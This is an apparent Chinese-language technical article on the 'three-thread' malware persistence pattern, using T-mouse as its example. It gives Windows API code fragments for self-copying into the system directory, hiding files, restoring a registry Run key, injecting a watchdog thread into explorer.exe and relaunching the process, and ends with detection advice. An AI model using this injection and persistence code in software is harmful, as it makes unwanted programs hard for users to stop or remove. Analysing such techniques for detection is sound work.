「三線程」常被防毒廠商宣傳為病毒高階技術,實則為進程自我保護的經典模式:主線程 + 本地監視線程 + 遠程注入線程,三者互相監控,實現進程難以被終止、檔案難以被刪除。本文以誘鼠器為例,詳細拆解其架構、核心 API 呼叫流程與清除對策。
T-mouse (主進程/主線程) ├─ 建立 watch 線程(駐留主進程) └─ 建立 remote 線程(注入遠程進程,如 explorer.exe / taskmgr.exe) watch 線程職責: 1. 即時監控註冊表 Run 鍵,被刪即寫回 2. 監控 remote 線程存活,掛掉則重新注入 remote 線程職責: 1. 開啟主進程句柄,WaitForSingleObject 等待其結束 2. 主進程終止時,檢查系統目錄備份檔是否存在,不存在則還原 3. 重新啟動主程式 (WinExec) 形成閉環:remote 守護主進程 → watch 守護 remote 與註冊表 → 主進程守護檔案備份
main 初始化GetSystemDirectory(syspath, MAX_PATH);
FindFirstFile(tname, &fdata); // 檢查系統目錄是否已有副本
CopyFile(curname, tname, TRUE); // 無則複製自身到系統目錄
CreateFile(kname, ...); // 開啟/建立 kernel.dll 備份檔
SetFileTime(...); SetFileAttributes(...); // 修改時間、設為唯讀/隱藏/系統屬性
CreateThread(NULL, 0, watch, (LPVOID)rthread, 0, NULL); // 建立本地監視線程
watchRegOpenKeyEx(HKEY_LOCAL_MACHINE, ..., KEY_QUERY_VALUE, &hkey);
RegQueryValueEx(hkey, _T("T-mouse"), ...); // 查詢啟動項
// 若不存在 → RegOpenKeyEx(KEY_WRITE) → RegSetValueEx 寫回
GetExitCodeThread(wethread, &exitcode); // 檢查 remote 線程狀態
if (exitcode != STILL_ACTIVE) CreateRemoteThread(...); // 重新注入
remote
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, mainPid);
WaitForSingleObject(hProc, INFINITE); // 等待主進程結束
WinExec(backupExePath, 0); // 重啟主程式
processtopid
EnumProcesses(pidArray, size, &cbNeeded);
for each pid:
OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, FALSE, pid);
EnumProcessModules(hProc, &hMod, sizeof(hMod), &cb);
GetModuleBaseName(hProc, hMod, name, sizeof(name));
if (name == targetName) return pid;
createremote
HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, remotePid);
LPVOID pCode = VirtualAllocEx(hProc, NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pCode, (LPVOID)remoteThreadFunc, cb, NULL); // 寫入線程代碼
WriteProcessMemory(hProc, pParam, (LPVOID)¶mStruct, cb, NULL); // 寫入參數結構
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, pParam, 0, NULL);
關鍵點:代碼與參數必須寫入目標進程位址空間,因 Win2K/XP 禁止跨進程直接存取記憶體。
調試建議:使用 DbgView.exe 捕捉遠程線程輸出訊息。
三線程機制本質是利用 OS 進程/線程隔離特性,構建相互守望的拓撲。雖技術本身中性,但被惡意軟體廣泛濫用。防護廠商應從行為監控(跨進程 WriteProcessMemory/CreateRemoteThread、註冊表 Run 鍵頻繁寫入、檔案屬性異常修改)入手檢測,而非單純特徵碼匹配。開發者切勿將此技術用於合法軟體保護,應採用數位簽章、授權伺服器等正規授權機制。